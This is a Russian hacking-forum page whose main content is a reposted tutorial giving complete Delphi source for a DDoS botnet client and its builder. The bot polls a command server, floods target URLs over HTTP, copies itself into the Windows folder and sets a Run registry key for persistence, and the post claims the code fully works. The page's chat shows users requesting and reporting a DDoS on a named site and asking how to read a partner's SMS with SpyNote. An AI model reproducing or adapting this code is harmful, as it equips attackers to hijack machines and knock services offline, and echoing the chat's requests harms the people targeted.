Для доступа к контенту сайта, пожалуйста отключите Аd-Blосk. При включенном блокираторе сайт может работать не корректно.

Реклама
Новые комментарии
  • Hokki
    Написал(а): Hokki
  • RUSLAN19860808
    Написал(а): RUSLAN19860808
  • freddy777
    Написал(а): freddy777
  • admin
    Написал(а): admin
  • seocool
    Написал(а): seocool
  • GattFly
    Написал(а): GattFly
Доска почёта
Посетители
Счётчики



Анализ сайта
Чат

Чтобы оставлять сообщения - зарегистрируйтесь
  • waw
    07:01
    • Kira_the_first
      21 янв 2017, 17:34
      @Zapilenko, уже биологической(
      • Zapilenko
        21 янв 2017, 17:08
        сайт в состоянии клинической сметри?
        • Zapilenko
          21 янв 2017, 17:05
          hello!
          • sweetlou
            21 янв 2017, 16:01
            хай
            • morfej
              21 янв 2017, 10:46
              Привет
              • Shimikami
                21 янв 2017, 09:40
                Доброе утро хацкеры
                • freddy777
                  21 янв 2017, 01:31
                  Мозг и руки
                  • MRX5TAR
                    20 янв 2017, 20:59
                    Люди что посоветуете что бы взломать phpmyadmin?
                    • erlan17
                      20 янв 2017, 20:14
                      @alex_saratov, спасибо
                      • alex_saratov
                        20 янв 2017, 20:13
                        Цитата: erlan17
                        @erlan17, зная только его номер телефона?

                        нет...
                        • erlan17
                          20 янв 2017, 20:12
                          @erlan17, я могу заразить троем определённый андроид зная только его номер телефона?
                          • erlan17
                            20 янв 2017, 20:08
                            @erlan17, к примеру телефон моей девушки
                            • erlan17
                              20 янв 2017, 20:07
                              @alex_saratov, мне нужен доступ к определённому номеру
                              • alex_saratov
                                20 янв 2017, 20:06
                                @erlan17, всмысле определённого?? ты можешь просматривать все смс, которые есть у жертвы в тлф
                                • erlan17
                                  20 янв 2017, 20:05
                                  @alex_saratov, я могу просматривать смс определённого номера?
                                  • alex_saratov
                                    20 янв 2017, 20:01
                                    Цитата: erlan17
                                    SpyNote v2 может перехватывать смс по номеру телефона?

                                    ну в клиенте реализована возможность просмотра смс, даже отправка любого смс на любой номер
                                    • erlan17
                                      20 янв 2017, 19:56
                                      SpyNote v2 может перехватывать смс по номеру телефона?
                                      • Shimikami
                                        20 янв 2017, 15:22
                                        Как дела бойцы?
                                        • Kira_the_first
                                          20 янв 2017, 12:57
                                          @DubaSS, ну я могу помочь
                                          • pH 5.5
                                            20 янв 2017, 11:46
                                            У кого была регестрация на Alibaba Cloud - проверьте почту
                                            Вот купон пришел *Your account has been credited with a USD $20 coupon for cloud hosting!*
                                            • iDroid
                                              19 янв 2017, 23:54
                                              Ваес,ты заибал миня банеть.Я жи нивьипацца модер, ебана.Магу писать где хачу
                                              • iDroid
                                                19 янв 2017, 23:53
                                                ладно
                                                • iDroid
                                                  19 янв 2017, 23:46
                                                  с половины стран сайт не доступен@Lipatov,
                                                  • iDroid
                                                    19 янв 2017, 23:44
                                                    @Lipatov, дудоснул, чекни
                                                    • MIISHA
                                                      19 янв 2017, 23:43
                                                      привет
                                                      • Lipatov
                                                        19 янв 2017, 23:09
                                                        ребят, есть просьба
                                                        кто умеет досить
                                                        elite-cs.ru
                                                        • DubaSS
                                                          19 янв 2017, 20:53
                                                          кто поможет открыть порты
                                                          • sweetlou
                                                            19 янв 2017, 14:40
                                                            Ваес, неужели ты оживишь ХХ?
                                                            • Kira_the_first
                                                              19 янв 2017, 13:07
                                                              почему нет ответа от админов?
                                                              Опрос на сайте
                                                              Как Вы нашли нас?
                                                              Поисковые системы
                                                              Порекомендовали
                                                              По ссылке с других сайтов
                                                              По ссылке с соц. сетей
                                                              Давно тут, по закладке
                                                              Ярлык в архиве с софтом
                                                              Случайно

                                                              Подписки

                                                                Получать новости на email:


                                                                Мы в соц. сетях:

                                                              Реклама

                                                              Последние сообщения с форума

                                                              Название темы Автор Статистика Последнее сообщение
                                                              Продам группу вконтакте!

                                                              Тема в разделе: Купля/Продажа

                                                              Andryxa608

                                                              Просмотров: 120

                                                              Ответов: 4

                                                              Автор: Andryxa608

                                                              Сегодня, 10:48

                                                              Скупаю аккаунты Лига Легенд

                                                              Тема в разделе: Купля/Продажа

                                                              Scrooge McDuck

                                                              Просмотров: 34

                                                              Ответов: 0

                                                              Автор: Scrooge McDuck

                                                              Вчера, 23:51

                                                              Ищу поставщиков ITUNES/AMAZON/XBOX/PSN/GOOGLE PLAY/STEAM/SKYPE

                                                              Тема в разделе: Купля/Продажа

                                                              vladimirskank

                                                              Просмотров: 850

                                                              Ответов: 13

                                                              Автор: vladimirskank

                                                              Вчера, 23:23

                                                              Пишем ботнет + билдер
                                                              Автор: Abrazor | Дата: 19-07-2012, 12:28 | Комментариев: 18 | Просмотров: 8039
                                                              Сразу говорю статейка не моя!!!!
                                                              Пишем ботнет + билдер

                                                              Главное для бота это размер. Чтобы уменьшить размер нам нужно свести к минимуму кол-во используемых модулей. Поэтому определимся с функционалом ботнета: в качестве метода атаки мы будем использовать http-flood, который реализуем на wininet, также используя его для получения команд с сервера. Многопочность и все остальные функции мы реализуем на winapi.
                                                              Соответственно:
                                                              uses wininet, windows;

                                                              Дабы не затруднять код кол-во потоков мы сделаем фиксированным, так же как и время ожидания при получении ответа от сервера. От сервера мы будем получать команды к действию (атака/ожидание/смерть) и адрес страницы для атаки.

                                                              Для начала возьмем готовую функцию отправки GET запроса и получения ответа: (оптимизирована под Delphi 2010/11)
                                                              function DelHttp(url: String): String; // парсинг адреса
                                                              begin
                                                                if Pos('http://', url) > 0 then
                                                                  Delete(url, 1, 7);
                                                                result := Copy(url, 1, Pos('/', url) - 1);
                                                                if result = '' then
                                                                  result := url + #0;
                                                              end;

                                                              function GetUrl(const url: String): String; // получение кода страницы
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Buff: array ***91;0 .. 1023***93; of ansiChar;
                                                                BytesRead: Cardinal;
                                                                Res, Len: DWORD;
                                                              begin
                                                                result := '';
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      if not(HttpSendRequest(FRequest, nil, 0, nil, 0)) then
                                                                        Exit;
                                                                      FillChar(Buff, SizeOf(Buff), 0);
                                                                      repeat
                                                                        result := result + Buff;
                                                                        FillChar(Buff, SizeOf(Buff), 0);
                                                                        InternetReadFile(FRequest, @Buff, SizeOf(Buff), BytesRead);
                                                                      until BytesRead = 0;
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Часть переменных я вывел в константы:
                                                              const
                                                                HTTP_PORT = 80;
                                                                CRLF = #13#10;
                                                                Header = 'Content-Type: application/x-www-form-urlencoded' + CRLF;

                                                              Ее мы будем использовать для получения команд от сервера.
                                                              Теперь немного оптимизируем ее для хттп-флуда:
                                                              procedure dosattack(const url: String); // хттп флуд
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Res, Len: DWORD;
                                                              begin
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      HttpSendRequest(FRequest, nil, 0, nil, 0);
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Также в константы выведем еще некоторые переменные:
                                                              settingsurl = 'http://www.xxx.com/set.html'; // страница получения настроек
                                                                waittime = 10000; // время ожидания
                                                                threadscount = 10; // кол-во потоков
                                                                newname = 'sysutils.exe'; // имя бота

                                                              В var запишем следующее:
                                                              var
                                                                a: array ***91;0 .. threadscount***93; of longword; // массив потоков
                                                                id: longword;   //служебные переменные
                                                                stop, e: boolean;
                                                                ddosurl, exename: string; // адрес атаки, пусть до файла
                                                                i: integer;

                                                              Ниже представлена процедура потока для доса:
                                                              procedure dosthread; // ддос поток
                                                              begin
                                                                while stop = false do // начальное ожидание
                                                                  sleep(100);
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    if e then // выход
                                                                      endthread(0);
                                                                    dosattack(ddosurl); // хттп флуд
                                                                  end;
                                                                finally
                                                                  endthread(0);     // выход
                                                                end;
                                                              end;

                                                              Команды от сервера мы будем получать следующим образом:
                                                              procedure getcommand; // получение команд от сервера
                                                              var
                                                                p, t1, t2: string;
                                                                i: integer;
                                                              begin
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    try
                                                                      p := ''; // код страницы
                                                                      t1 := ''; // режим
                                                                      t2 := ''; // адрес атаки
                                                                      p := GetUrl(settingsurl); // получаем код страницы
                                                                      for i := 1 to Pos('|', p) - 1 do
                                                                        t1 := t1 + p***91;i***93;;
                                                                      for i := Pos('|', p) + 1 to Length(p) do
                                                                        t2 := t2 + p***91;i***93;;
                                                                      ddosurl := t2; // изменяем страницу атаки
                                                                      if t1 = '1' then // приводим потоки в действие
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          ResumeThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '0' then // замораживаем потоки
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '-1' then // убиваем потоки
                                                                      begin
                                                                        e := true;
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                        deletefile(PChar(exename));
                                                                        halt(0); // выход из программы
                                                                      end;
                                                                      sleep(waittime); // ожидание...
                                                                    except
                                                                    end;
                                                                  end;
                                                                finally
                                                                  endthread(0);
                                                                end;
                                                              end;

                                                              В коде основной программы пропишем запуск потоков:
                                                              try
                                                                  e := false;
                                                                  stop := false;
                                                                  a***91;0***93; := beginthread(nil, 0, Addr(getcommand), nil, 0, id);
                                                                  // создаем поток для получения данных
                                                                  SetThreadPriority(a***91;0***93;, THREAD_PRIORITY_HIGHEST); // высокий приоритет
                                                                  for i := 1 to threadscount do // запускаем потоки
                                                                    a***91;i***93; := beginthread(nil, 0, Addr(dosthread), nil, 0, id);
                                                                  for i := 1 to threadscount do // замораживаем потоки
                                                                    SuspendThread(a***91;i***93;);
                                                                  stop := true; // убираем начальное ожидание
                                                                finally
                                                                  while 1 > 0 do // работаем
                                                                    sleep(100);
                                                                end;

                                                              Теперь наш бот надо превратить в некое подобие вируса. Нам нужны следующие функции:
                                                              function GetWindowsDir: String; // получение системной директории
                                                              var
                                                                name: array ***91;0 .. 255***93; of Char;
                                                              begin
                                                                GetWindowsDirectory(Name, SizeOf(Name));
                                                                result := name;
                                                              end;

                                                              Procedure regbot; // запись в автозагрузку
                                                              var
                                                                Key: hkey;
                                                                SystemPath: array ***91;0 .. MAX_PATH***93; of Char;
                                                              begin
                                                                GetSystemDirectory(SystemPath, MAX_PATH);
                                                                if RegOpenKeyEx HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_CREATE_SUB_KEY or
                                                                  KEY_SET_VALUE, Key) = ERROR_SUCCESS then
                                                                begin
                                                                  RegSetValueEx(Key, 'SysUtils', 0, REG_SZ, PChar(exename),
                                                                    lstrlen(PChar(exename)) + Length(exename));
                                                                  RegCloseKey(Key);
                                                                end;
                                                              end;

                                                              Запуск которых нужно вставить в самом начале основного кода:
                                                              try
                                                              exename := GetWindowsDir + '' + newname;
                                                              CopyFile(PChar(ParamStr(0)), PChar(exename), true);
                                                              // самокопирование в системную папку
                                                              regbot; // из-за этого определяется как троян (запись в автозагрузку)
                                                              except
                                                              end;

                                                              Размер после компиляции: 34 КБ После сжатия ASPack'ом будем порядка 18 КБ.

                                                              Дополнение. Пишем билдер.
                                                              Патчить мы будем адрес страницы с настройками. Для начала заполним переменную settingsurl ровно сотней нулей (или еще чемнибудь)
                                                              Скомпилим и откроем наш bot.exe в WinHex. Найдем там эти нули:
                                                              Пишем ботнет + билдер

                                                              Начальный адрес равен 4860 (на скрине он немного не такой ибо файл другой) А конечный 48C8. Ко всему этому между каждым символом стоит пустой бит.
                                                              Вот код нашего билдера:
                                                              program builder;

                                                              {$APPTYPE CONSOLE}

                                                              uses
                                                                sysutils, windows;
                                                              const
                                                                filename = 'bot.exe';
                                                                sourcename = 'source.exe';
                                                              var
                                                                page: ansistring;
                                                                f: thandle;
                                                                c: byte;
                                                                BytesRead: DWORD;
                                                                i, p, j: integer;
                                                              begin
                                                                writeln('Enter Page with settings (max 100 symbols)');
                                                                readln(page);
                                                                copyfile(pchar(sourcename), pchar(filename), true);
                                                                if not fileexists(filename) then
                                                                begin
                                                                  writeln('bot.exe not found');
                                                                  readln;
                                                                  halt(0);
                                                                end;
                                                                f := fileopen(filename, fmOpenReadWrite);
                                                                // 4860-48C8
                                                                for i := 1 to 100 - length(page) do
                                                                  page := page + ' ';
                                                                for i := 0 to 99 do
                                                                begin
                                                                  p := $4860;
                                                                  for j := 1 to i do
                                                                    p := p + $2;
                                                                  c := ord(char(pchar(page***91;i+1***93;)));
                                                                  SetFilePointer(f, p, nil, 0);
                                                                  WriteFile(f, c, SizeOf(c), BytesRead, nil);
                                                                end;
                                                                FileClose(f);
                                                                writeln('bot.exe success patch!');
                                                                readln;
                                                              end.


                                                              где source.exe - имя нашего исходного файла
                                                              а bot.exe - выходной файл.

                                                              P.S Весь выше приведенный код является полностью рабочим.
                                                              Автор не несет ответственности за противозаконное использование статьи.
                                                              Пароль на все архивы "happy-hack.ru" либо "hh"





                                                              Поделись:
                                                              Здесь присутствуют:
                                                              На данный момент новость никто не просматривает.
                                                              Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
                                                              Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: fiin
                                                              • Дата: 19 июля 2012 12:39
                                                              • Новостей: 1
                                                              • Комментариев: 11
                                                              если ты спрячешь все коды в спойлер то будет лучше, а та не плохо

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: OREL2099
                                                              • Дата: 19 июля 2012 18:12
                                                              • Новостей: 0
                                                              • Комментариев: 16
                                                              db

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 19 июля 2012 20:27
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Автор молодец smile-28

                                                              Если я правильно понял , программа должна реализововать только ддос , если меня допустим не интересует ни функции ддоса ни рассылки спама и т.д а интересут только заработок на зомби кликерах ,как его можно реализовать ?

                                                              Репутация: ( 36 )
                                                            • Offline Пользователь offline

                                                              • Написал: Abrazor
                                                              • Дата: 19 июля 2012 20:49
                                                              • Новостей: 32
                                                              • Комментариев: 162
                                                              Snake92,
                                                              Автор статейки не я.
                                                              Я только учусь кодить на делфи.
                                                              А по таким вопросам к Гуглу=)

                                                              --------------------

                                                              Репутация: ( )

                                                              • Написал: maximus
                                                              • Дата: 20 июля 2012 01:36
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Кто пробовал юзать?

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: FTALP
                                                              • Дата: 20 июля 2012 02:10
                                                              • Новостей: 2
                                                              • Комментариев: 28
                                                              maximus, такое юзать себе же хуже..

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 22 июля 2012 12:19
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              maximus,
                                                              начнешь юзать без достойного опыта , навыков , считай что к тебе уже выехали

                                                              Репутация: ( 3 )
                                                            • Offline Пользователь offline

                                                              • Написал: sahan
                                                              • Дата: 31 июля 2012 03:27
                                                              • Новостей: 0
                                                              • Комментариев: 200
                                                              Цитата: Snake92
                                                              как его можно реализовать ?

                                                              Кстати да, очень интересно. Можно зарабатывать очень не плохо
                                                              fap

                                                              Репутация: ( )

                                                              • Написал: vaa.alex
                                                              • Дата: 10 августа 2012 20:24
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Snake92,
                                                              а ты думаешь опыт можно с инета скачать? Опыт приходит со временем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: LoSa
                                                              • Дата: 12 августа 2012 09:48
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              Надо будет попробывать smile-17

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: RBD
                                                              • Дата: 20 августа 2012 03:32
                                                              • Новостей: 0
                                                              • Комментариев: 3
                                                              Спасибо за инфу smile-59

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: benny
                                                              • Дата: 20 августа 2012 10:02
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              спасибо

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: mrshot
                                                              • Дата: 23 августа 2012 21:18
                                                              • Новостей: 0
                                                              • Комментариев: 13
                                                              ep автор, отличная статья

                                                              Репутация: ( )

                                                              • Написал: centrirn
                                                              • Дата: 5 октября 2012 11:14
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Спасибо. smile-51

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Vladimir14765
                                                              • Дата: 9 декабря 2012 08:31
                                                              • Новостей: 0
                                                              • Комментариев: 5
                                                              Спасибо :)

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: Loslew
                                                              • Дата: 5 февраля 2013 04:35
                                                              • Новостей: 1
                                                              • Комментариев: 24
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: fcsm
                                                              • Дата: 23 марта 2013 19:13
                                                              • Новостей: 0
                                                              • Комментариев: 29
                                                              Цитата: Loslew
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              можно, но ведь интересней его написать самому, сделать его таким, какого еще нет, что бы он был не однообразным, и чем то отличался от других..

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Flach
                                                              • Дата: 25 июля 2013 18:29
                                                              • Новостей: 0
                                                              • Комментариев: 26
                                                              smile-31 класс статья =))
                                                              Информация
                                                              Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.